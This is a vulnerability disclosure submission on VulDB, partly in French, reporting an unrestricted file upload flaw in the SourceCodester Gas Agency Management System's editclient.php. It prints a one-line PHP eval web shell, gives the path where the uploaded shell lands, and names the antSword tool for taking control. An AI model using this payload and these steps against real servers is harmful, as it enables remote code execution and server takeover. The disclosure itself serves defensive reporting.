Soumettre #43458: sourcecodester Gas Agency Management System /gasmark/editclient.php?id=1 exists unrestricted upload

File uploading is not filtered, and uploading a sentence is caused by a Trojan horse getshell

upload shell like this
```php
<?php @eval($_POST['shell']);?>
```
https://github.com/Drun1baby/CVE_Pentest/blob/main/Gas%20Agency%20Management%20System%20CMS/images/oneWorld02.png

Then we check it

then we can see it in /gasmark/assets/myimages/oneWord02.php

Use antSword to getshell

https://github.com/Drun1baby/CVE_Pentest/blob/main/Gas%20Agency%20Management%20System%20CMS/images/getshell02.png

• La source: ⚠️ https://www.sourcecodester.com/download-code?nid=15586&title=Gas+Agency+Management+System+Project+in+PHP+Free+Download+with+Free+Source+Code+
• Utilisateur: Drunkbaby (UID 30821)
• Soumission: 11/08/2022 14:13 (il y a 4 ans)
• Modérer: 11/08/2022 15:36 (1 hour later)
• Statut: Dupliqué
• Entrée VulDB: 206173 [SourceCodester Gas Agency Management System oneWord.php shell élévation de privilèges]
• Points: 0